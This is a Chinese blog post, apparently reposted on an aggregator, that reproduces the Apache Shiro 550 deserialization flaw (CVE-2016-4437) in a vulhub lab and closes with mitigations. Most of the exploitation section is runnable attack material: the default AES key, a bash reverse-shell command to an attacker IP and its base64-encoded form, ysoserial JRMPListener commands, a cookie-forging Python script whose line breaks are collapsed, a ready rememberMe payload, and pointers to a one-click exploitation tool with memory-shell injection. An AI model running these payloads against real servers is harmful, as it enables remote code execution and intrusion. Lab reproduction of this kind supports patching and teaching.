Apache Shiro 550反序列化漏洞

news/2024/10/10 14:24:02

目录
  • 漏洞原理
  • 复现
    • 漏洞探测
    • 方式一 ysoserial反弹shell
    • 方式二 ShiroAttack2一键利用
  • 修复措施

Apache Shiro 是一个用于身份验证、授权、加密和会话管理的Java安全框架。Apache Shiro550 是个反序列化漏洞,漏洞编号为CVE-2016-4437。

漏洞原理

Shiro 框架提供了一个RememberMe功能,允许用户在下次访问时无需重新登录。这个功能通过在Cookie中设置一个rememberMe字段来实现。Shiro在处理rememberMe字段时,会先进行Base64解码,然后使用AES解密,最后反序列化。然而Shiro的默认AES密钥是硬编码在框架中的。

所以这使得攻击者可以轻易地构造一个恶意的序列化对象,将其AES加密并Base64编码后,作为rememberMe字段发送给Shiro服务端。在服务端接收Cookie后会检查RememberMe的值 -> Base64解码 -> 使用AES解密(加密密钥硬编码)-> 反序列化(未作过滤处理)

如果没有修改默认的密钥那么就很容易就知道密钥了,所以Payload构造起来就很简单。

复现

影响版本:Apache Shiro < 1.2.4

环境搭建:使用 vulhub 搭建

cd ./vulhub/shiro/CVE-2016-4437
docker compose up -d

浏览器访问 8080 端口登录界面:

image

首先应该判断一个页面的登录是否使用了Shiro框架,如果出现 rememberMe=deleteMe 字段,就说明登录页面采用了 Shiro进行身份验证,但这并不能说明存在漏洞。

image

Shiro550 这个漏洞的核心在于版本低于 1.2.4 的版本中使用了固定的密钥,如果确实是固定的密钥那么 Shiro550 漏洞才一定是存在。

漏洞探测

第一步就是要确定是否有一个默认的key是可以为我们所用的,这里就需要用到key的爆破工具。

工具地址:https://github.com/insightglacier/Shiro_exploit

image

检测到AES加密的 key 为:kPH+bIxk5D2deZiIxcaaaA==

方式一 ysoserial反弹shell

拿到key以后,利用 ysoserial 来生成反序列payload,ysoserial是一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。

下载地址:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

利用 ysoserial 的攻击流程如下:

  1. 攻击者在自己的服务器使用 JRMPListener 开启一个 RMI 服务监听。

  2. 向目标服务器发送 JRMPClient,发送的Payload中设置攻击者服务器IP以及JRMPListener监听的端口,漏洞服务器反序列化该Payload后,会去连接攻击者开启的RMI监听。

  3. 攻击者服务器发送的Payload中包含可执行命令。

首先,在kali中通过 nc 监听本地端口:

nc -lvvp 12345

接着准备反弹shell的代码:

反弹shell的命令为bash -i >& /dev/tcp/192.168.88.128/12345 0>&1,利用Java Runtime配合Bash64编码:

"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

本地开启 JRMP 监听,监听本地 2333 端口,利用链使用 CommonsBeanutils1:

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"

Python生成Payload替换Cookie,这里使用其他师傅写的Python脚本:

# python3
import base64
import uuid
import subprocess
from Crypto.Cipher import AESdef rememberme(command):popen = subprocess.Popen([r'java', '-jar', r'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command],stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = "kPH+bIxk5D2deZiIxcaaaA==" # AES密钥keymode = AES.MODE_CBCiv = b' ' * 16encryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = rememberme('192.168.88.128:2333') # 192.168.88.128:2333 是攻击机远程RMI服务print("rememberMe={}".format(payload.decode()))

需要注意的是,要把 ysoserial-master-SNAPSHOT.jar 包和该python脚本放在同一目录下,还需要替换拿到的key和rememberme()的参数。

image

rememberMe=ICAgICAgICAgICAgICAgIKJBToq3AgWpkZCN9zQ2dfEHCco/VzhG+3LQHh5Zaer60r5Jwla79z0XmDOj8+w1eKA2vgHYMkiWYHxPTnCTruQce9qUyi1DfZbejmiqT0SdmloCk0mpI/GFrLviKn4NgEccphmdxaeejF7aza2uR6mZR4DYZWErT6EgMoqKwqkMtO91HfpMZW3QSbxaeFLQDQS/E6tc3GQRK4qxMxbx0/yd4ADT3MH58lLcdtvXgyLG51gaMpDMeYXLxHoEhvYmZPhiPD1qrGJ5wLHzV/WSvA4NFHQn7cMvBKoT+6IvtRY4WM56jD8u4mqvpKxbncRUdUB4gsr3BMwxc5gV1VjA8tWO61yWSra0/T2bMVQrfpZXrmOg/1uPBm7thm8b5anJlw==

将拿到的 rememberMe 替换Cookie发送:

image

靶机回连本地 JRMP 服务,JRMP服务端收到请求:

image

靶机收到 gadget 对象对其反序列化造成命令执行,造成反弹shell命令成功:

image

除了反弹shell,还可以使用ysoserial工具生成exp进行命令执行,将生成的Payload使用默认AES加密,替换Cookie发送求。

方式二 ShiroAttack2一键利用

ShiroAttack2 是一款针对Shiro550漏洞进行快速漏洞利用的工具,具有图形化界面,可以回显执行命令,注入内存马等。

下载地址:https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0

java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar

可爆破密钥,爆破利用连及回显:

image

功能区包括:检测日志、命令执行、内存马、key生成

image

修复措施

  • 升级Shiro版本:将Apache Shiro升级到1.2.4以上的版本,因为1.2.5及以后的版本中,AES密钥不再是硬编码的,而是在每次Shiro启动时随机生成一个新的密钥。

  • 更换AES密钥:如果不升级Shiro版本,应修改rememberMe的默认密钥。使用Shiro官方提供的方法随机生成一个新的密钥,并妥善保管好该密钥。
    官方密钥生成方法:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()。

  • 禁用rememberMe功能:如果应用程序不需要使用rememberMe功能,可以考虑完全禁用它。

参考文章:
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2016-4437shiro-550反序列化命令执行.md
https://www.freebuf.com/vuls/290922.html
https://www.freebuf.com/articles/web/395728.html


若有错误,欢迎指正!o( ̄▽ ̄)ブ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/27726.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

.Net 8.0 下的新RPC,IceRPC之如何创建连接connection

作者引言很高兴啊,我们来到了IceRPC之如何创建连接connection,基础引导,让自已不在迷茫,快乐的畅游世界。如何创建连接connection学习如何使用IceRPC,创建和接受连接。连接有什么用途? 连接在 IceRPC 中发挥着核心作用: 通过连接向服务端发送请求,然后通过同一连接收到响应…

pde复习笔记 第一章 波动方程 第六节 能量不等式、波动方程解的唯一性和稳定性

能量不等式 这一部分需要知道的是能量的表达式 \[E(t)=\int_{0}^{l}u_{t}^{2}+a^{2}u_{x}^{2} dx \]一般而言题目常见的问法是证明能量是减少的,也就是我们需要证明 \[\dfrac{d}{dt}E(t) \le0 \]在计算\(\dfrac{d}{dt}E(t) \le0\)的时候一定会用的题目给的方程条件去凑微分…

2024 年 5 月 4 日 青年节 周六 多云 常(910 字)

正文看完了《只有街舞》系列的纪录片。每次看完这种类型的片子,总会激发我许多感触。我总是想书写一个庞大而宏伟的故事,通过故事和人物的行动折射背后深沉的主题。使命感、勇气、选择、放弃、未知、疲惫、克制、时间、迷茫、信念、坚持、自我感动、爱、友情、生活等等等等。…

Mac更新python3.12 解决pip3安装报错

Mac使用homebrew更新了python3.12,删除了以前的版本和pip3安装软件时候报错。error: externally-managed-environment This environment is externally managed ╰─> To install Python packages system-wide, try brew installxyz, where xyz is the package you are try…

2024-05-05 通达信选股 双黄连

黄金阴:=O>REF(C,1) AND C<O AND V<REF(V,1)*SL2; 黄金阳:= C>O AND O<REF(C,1) AND V<REF(V,1)*SL1 AND C<REF(C,1); COUNT(黄金阳,1)>=1 AND COUNT(黄金阴,5)>=1; ----------------------------------------------------------------------------…

网课-微积分学习笔记

qwq微分有时也写作 \(\frac{\mathrm{d} y}{\mathrm{d} x}\)。 常见函数导数:可以认为,\(e\) 的定义就是 \((e^x) = e^x\)。 导数是一个线性的算子,即:其中 \(f(g(x))\) 指的是在求出 \(f(x)\) 后把 \(g(x)\) 代入。(以上定律根据 \(f(x+\Delta) = f(x)+f(x)\Delta+o(\Delt…

232Modbus转Profinet网关接扫码枪与PLC通讯

232Modbus转Profinet网关(XD-PNR100/300)的主要作用是实现Modbus协议和Profinet协议之间的转换和通信。本案例是用Modbus转Profinet网关接扫码枪与PLC通讯,扫码枪通常通过特定的接口与计算机或其他设备传输数据,而PLC(可编程逻辑控制器)则通常使用Profinet等工业通信协议…

Goose:Go语言渐进式的数据库迁移工具

Goose:Go语言渐进式的数据库迁移工具 原创 K8sCat 源自开发者 2024-05-04 22:57 广东 听全文源自开发者 专注于提供关于Go语言的实用教程、案例分析、最新趋势,以及云原生技术的深度解析和实践经验分享。 214篇原创内容公众号数据库迁移是软件开发过程中重要的一部分,随着业…